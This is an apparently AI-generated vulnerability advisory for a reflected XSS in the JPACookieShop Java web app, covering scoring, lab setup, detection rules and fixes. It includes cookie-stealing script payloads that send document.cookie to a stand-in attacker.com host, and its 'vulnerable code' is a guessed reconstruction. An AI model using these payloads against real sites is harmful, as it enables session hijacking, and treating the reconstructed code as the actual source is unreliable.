CVE-2025-8222
Executive Summary
CVE-2025-8222 is a publicly disclosed, unauthenticated reflected Cross-Site Scripting (XSS) vulnerability in the JPACookieShop (蛋糕商城JPA版) application by jerryshensjf. The flaw resides in the GoodsController.java file, where user-supplied input is not properly sanitized before being reflected in HTTP responses. An attacker can craft a malicious URL that, when visited by an authenticated or unauthenticated user, executes arbitrary JavaScript in the context of the victim's browser session. The CVSS v3.1 base score is 3.5 (Low), but the public availability of a proof-of-concept (PoC) and the lack of a patch elevate the operational risk. The application uses a continuous delivery model with rolling releases, making version tracking difficult. Multiple endpoints are affected, increasing the attack surface.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a Java-based web application (JPA/Spring Boot). No specific package manager (NPM, PyPI, Go, Ruby) is involved. The risk is primarily to the application's own codebase and its deployment environment.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Base Score: 3.5 (Low)
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed to trigger the vulnerability.
- User Interaction (UI): Required (R) – Victim must click a crafted link or visit a malicious page.
- Scope (S): Unchanged (U) – The vulnerability does not affect other components.
- Confidentiality Impact (C): None (N) – No data exfiltration directly.
- Integrity Impact (I): Low (L) – Attacker can modify content in the victim's browser.
- Availability Impact (A): None (N) – No denial of service.
Threat Level: Low (CVSS 3.5) but elevated due to public PoC and no patch. Real-world impact is limited to session hijacking, phishing, or defacement within the victim's browser.
Deep Dive & Mechanics
The vulnerability is a classic reflected XSS in the GoodsController.java file. The controller likely handles requests for viewing product details or searching goods. The application fails to validate or encode user-supplied parameters (e.g., id, name, or search query) before including them in the HTML response. An attacker can inject JavaScript payloads via these parameters.
Example vulnerable endpoint: /goods/detail?id=<script>alert(1)</script>
The server returns an HTML page where the injected script is rendered without sanitization, causing the browser to execute it. Since the application uses JPA (Java Persistence API) and likely Spring MVC, the vulnerability stems from missing output encoding in the view layer (e.g., JSP, Thymeleaf, or direct string concatenation).
Attack Flow:
- Attacker crafts a malicious URL:
http://target.com/goods/detail?id=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script> - Attacker sends the link to a victim (e.g., via email, social media).
- Victim clicks the link while authenticated to the JPACookieShop application.
- The server reflects the payload in the response.
- The victim's browser executes the script, sending the session cookie to the attacker.
- Attacker uses the stolen cookie to impersonate the victim.
Vulnerable vs. Patched Code
Vulnerable Code (GoodsController.java):
@GetMapping("/goods/detail")
public String getGoodsDetail(@RequestParam("id") String id, Model model) {
// Directly reflecting user input without sanitization
model.addAttribute("goodsId", id);
return "goodsDetail";
}
Patched Code (GoodsController.java):
import org.springframework.web.util.HtmlUtils;
@GetMapping("/goods/detail")
public String getGoodsDetail(@RequestParam("id") String id, Model model) {
// Sanitize input using HTML encoding
String safeId = HtmlUtils.htmlEscape(id);
model.addAttribute("goodsId", safeId);
return "goodsDetail";
}
The patched version uses HtmlUtils.htmlEscape() to encode special characters (<, >, &, ", ') before rendering. Alternatively, using a template engine with automatic escaping (e.g., Thymeleaf with th:text) would also mitigate the issue.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target running JPACookieShop (commit up to
24a15c02b4f75042c9f7f615a3fed2ec1cefb999). - No authentication required to trigger the XSS.
Proof-of-Concept (PoC) Payload:
<script>alert('XSS')</script>
Exploit URL:
http://target.com/goods/detail?id=<script>alert('XSS')</script>
Advanced Payload (Session Hijacking):
<script>
var img = new Image();
img.src = 'http://attacker.com/steal?cookie=' + document.cookie;
</script>
Lab Setup:
- Clone the repository:
git clone https://github.com/jerryshensjf/JPACookieShop.git - Checkout the vulnerable commit:
git checkout 24a15c02b4f75042c9f7f615a3fed2ec1cefb999 - Build and run the application (requires Java 8+ and Maven):
mvn spring-boot:run - Access the application at
http://localhost:8080 - Test the PoC URL.
Blue Team (Detection & Response)
Detection Steps:
- Monitor web server logs for suspicious parameters containing
<script>,onerror=,javascript:, or base64-encoded payloads. - Deploy a Web Application Firewall (WAF) with rules to block reflected XSS patterns.
- Use Content Security Policy (CSP) headers to restrict script execution.
- Implement input validation and output encoding in the application code.
Response:
- If exploitation is detected, block the attacker's IP address.
- Invalidate all active user sessions.
- Apply the patched code (see above) or implement a virtual patch via WAF.
- Conduct a code review of all controller methods for similar vulnerabilities.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests with parameters containing
<script>,%3Cscript%3E, or other HTML/JavaScript tags. - Outbound connections to attacker-controlled domains from the application server (e.g.,
http://attacker.com/steal?cookie=...).
- HTTP requests with parameters containing
- Host IOCs:
- Unusual entries in web server access logs (e.g.,
GET /goods/detail?id=<script>...). - Presence of unexpected JavaScript files in the application's static resources.
- Unusual entries in web server access logs (e.g.,
- File IOCs:
- Modified
GoodsController.javaor other controller files with added sanitization (if attacker patched to hide their tracks).
- Modified
Detection Engineering
YARA Rule
rule CVE_2025_8222_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting JPACookieShop GoodsController"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-8222"
strings:
$xss_pattern1 = /[?&]id\s*=\s*.*<script/i
$xss_pattern2 = /[?&]name\s*=\s*.*<script/i
$xss_pattern3 = /[?&]search\s*=\s*.*<script/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt on JPACookieShop
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads targeting JPACookieShop endpoints
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '<script'
- '%3Cscript%3E'
- 'onerror='
- 'javascript:'
cs-uri-stem|contains:
- '/goods/detail'
- '/goods/search'
condition: selection
falsepositives:
- Legitimate use of HTML in search queries (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-8222 JPACookieShop Reflected XSS Attempt"; flow:to_server; content:"GET"; http_method; content:"/goods/"; http_uri; pcre:"/(id|name|search)=.*<script/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Apply Input Validation: Sanitize all user-supplied parameters in
GoodsController.javaand other controllers usingHtmlUtils.htmlEscape()or similar. - Use Template Engine Auto-Escaping: Ensure the view layer (e.g., Thymeleaf, JSP) automatically escapes output. For Thymeleaf, use
th:textinstead ofth:utext. - Deploy WAF Rules: Block requests containing
<script>,onerror=, or other XSS patterns. - Implement Content Security Policy (CSP): Add the following HTTP header:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
Long-Term Fixes:
- Code Review: Audit all controller methods for similar XSS vulnerabilities.
- Security Testing: Integrate SAST (e.g., SonarQube) and DAST (e.g., OWASP ZAP) into the CI/CD pipeline.
- Update Dependencies: Ensure all libraries (Spring, JPA, etc.) are up to date.
- Monitor for Patches: Since the product uses rolling releases, regularly check the repository for updates.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.